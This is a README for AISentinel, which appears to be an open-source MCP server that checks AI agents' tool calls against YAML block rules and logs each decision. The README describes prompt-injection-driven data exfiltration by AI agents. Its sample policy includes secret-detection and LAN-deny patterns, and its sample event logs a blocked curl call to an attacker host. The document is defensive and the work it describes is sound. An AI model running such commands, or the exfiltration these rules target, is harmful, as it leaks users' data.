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# AISentinel
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**The missing security, control, and observability layer for the agentic era.**
> Traditional security tools were built for malware.
> AI agents were given legitimate power through tools and APIs.
> AISentinel provides the missing security, control, and observability layer.
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## 1. Project Title + Tagline
**AISentinel** — an open-source MCP server that protects AI agents at runtime.
Built by **Kabzhanov / BizDNAi**, the team behind the **AI Trust Index**.
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## 2. Why AISentinel Exists
AI agents now have shell, browsers, file systems, and API keys. They are
**legitimate** processes — antivirus cannot see them. A single indirect
prompt injection in a PDF or email can pivot into mass data exfiltration
through ordinary tools like `Bash` and `Email_send`.
AISentinel closes that gap: it runs as an MCP server in front of every tool
call, evaluates YAML policies, logs every decision, and ships an
audit trail compatible with the [AI Trust Index](https://bizdnai.com/index/).
See [docs/SECURITY_AUDIT.md](docs/SECURITY_AUDIT.md) for the full threat model.
---
## 3. Quickstart (3 minutes)
### Option A: install the binary
```bash
go install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest
aisentinel --help
aisentinel serve --policy policies/default.yaml
```
### Option B: install the sidecar (drop-in policy proxy for any MCP server)
```bash
go install github.com/Kabzhanov/AISentinel/cmd/aisentinel-sidecar@latest
# Wrap any stdio MCP server with one command:
aisentinel-sidecar ./your-mcp-server [args...]
```
### Option C: clone and build
```bash
git clone https://github.com/Kabzhanov/AISentinel.git
cd AISentinel
go build -o bin/aisentinel ./cmd/aisentinel
go build -o bin/aisentinel-sidecar ./cmd/aisentinel-sidecar
./bin/aisentinel serve --policy policies/default.yaml
```
### Option D: pre-built binaries from GitHub Releases
Download from <https://github.com/Kabzhanov/AISentinel/releases/latest>.
Available for `linux/amd64`, `linux/arm64`, `darwin/amd64`, `darwin/arm64`,
`windows/amd64`.
### Option E: add to Claude Code / Cursor / Cline
```json
{
"mcpServers": {
"aisentinel": {
"command": "aisentinel",
"args": ["serve", "--policy", "/absolute/path/to/policies/default.yaml"]
},
"aisentinel-sidecar": {
"command": "aisentinel-sidecar",
"args": ["--policy", "/absolute/path/to/policies/strict.yaml", "/path/to/your-mcp-server"]
}
}
}
```
Then restart your MCP client and ask your agent to call any tool —
AISentinel will gate every call and write a JSONL audit trail to
`~/.aisentinel/events-YYYY-MM-DD.jsonl`.
---
## 4. Key Features
- **Pre-tool gate** — evaluate every tool call against a YAML policy
(allow / block / require_human_approval / log_only).
- **Audit log** — append-only JSONL with a standardised event schema.
- **Validate-policy** — lint a YAML policy without loading it.
- **Built-in policies** — `default`, `strict`, `audit-only` (see `policies/`).
- **MCP-native** — works in Claude Code, Claude Desktop, Cursor, Cline, Continue.
- **Zero telemetry** — runs locally; no phone-home.
- **Apache 2.0** — permissive open source with patent grant.
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## 5. Connectors
- **MCP stdio** — `aisentinel serve` (Claude Code, Claude Desktop, Cursor, Cline, Continue).
- **Streamable-HTTP** — `https://mcp.aisentinel.bizdnai.com/mcp` (SaaS, OAuth via BizDNAi).
- **CLI** — `aisentinel` subcommands (`serve`, `validate-policy`, `policies`, `events`, `version`).
- **Library** — Go package `github.com/Kabzhanov/AISentinel/internal/policy` for embedding.
---
## 6. Policy Examples
See [`policies/default.yaml`](policies/default.yaml) for the full default policy.
```yaml
version: 1
name: default
rules:
- id: secret-in-args
match: { tool_args_regex: "(?i)(api[_-]?key|secret|token|password|passwd)" }
decision: block
reason: "Possible secret in arguments"
- id: lan-deny
match: { tool_name: "Bash", tool_args_regex: "10\\.|192\\.168\\.|172\\.(1[6-9]|2\\d|3[01])\\." }
decision: block
reason: "LAN access blocked by default"
```
Match modes: `tool_name`, `tool_name_regex`, `tool_args_regex`, `tool_args_contains`. Multiple matchers AND-combine.
---
## 7. How it Improves AI Trust Index Score
AISentinel generates the **observability data** required for AI Trust Index
assessments:
- Every tool call → auditable event with agent_id, session_id, decision, signals.
- Every policy decision → versioned, fingerprinted (policy_signature field).
- Every block → reason, risk_signals, ready for an ATI submission.
Run `aisentinel_get_ati_snapshot` to get a JSON blob ready to paste into
the [AI Trust Index cabinet](https://bizdnai.com/index/).
---
## 8. Licensing
AISentinel is available under two licensing options:
1. **Apache License 2.0** (Open Source)
- Free to use, modify, and distribute under the terms of the Apache 2.0 license.
- Includes explicit patent grant from contributors.
2. **Commercial License**
- For companies that want to embed AISentinel in closed-source products
without open-source compliance requirements.
- Contact: kabzhanov@gmail.com
By contributing to this repository, you agree to license your contributions
under Apache 2.0.
See [LICENSE](LICENSE) and [COMMERCIAL_LICENSE.md](COMMERCIAL_LICENSE.md).
---
## 9. Installation
Requirements: **Go 1.22+**
```bash
go install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest
```
Verify:
```bash
aisentinel version
# AISentinel v1.0.0 — by Kabzhanov / BizDNAi / AI Trust Index
```
---
## 10. Usage Examples
### Run the MCP server
```bash
aisentinel serve --policy policies/default.yaml
```
### Validate a custom policy
```bash
aisentinel validate-policy my-policy.yaml
```
### Tail recent audit events
```bash
aisentinel events --last 20
```
### List built-in policies
```bash
aisentinel policies
```
### Try a policy without blocking (shadow mode)
```bash
AISENTINEL_DRY_RUN=1 aisentinel serve --policy policies/default.yaml
```
---
## 11. Event Schema
See [`docs/event-schema.md`](docs/event-schema.md). One JSON object per line
in the JSONL log:
```json
{
"event_id": "20260707T221500.000000001-1",
"timestamp": "2026-07-07T22:15:00Z",
"event_type": "pre_tool",
"agent_id": "agent-42",
"session_id": "sess-abc",
"tool_name": "Bash",
"tool_args": { "command": "curl http://attacker.com/x" },
"decision": "block",
"policy_matched": ["bash-network"],
"risk_signals": ["rule_matched:bash-network"]
}
```
---
## 12. Contributing
See [CONTRIBUTING.md](CONTRIBUTING.md). By contributing you agree to license
your contribution under Apache 2.0.
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## 13. Roadmap
- **v1.0** (this release) — MCP stdio, 4 tools, 3 built-in policies, JSONL audit log.
- **v1.1** — `aisentinel scan` (MCP-config auditor), mobile connectors.
- **v1.2** — streamable-HTTP transport (SaaS mode), OAuth via BizDNAi.
- **v2.0** — ATI-feed integration, IDE plugins (VSCode MCP Inspector).
---
## 14. License
Apache License 2.0. See [LICENSE](LICENSE).
AISentinel is dual-licensed under Apache 2.0 and a commercial license.
For commercial terms, contact kabzhanov@gmail.com.
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**By Kabzhanov / BizDNAi — creators of the [AI Trust Index](https://bizdnai.com/index/).**
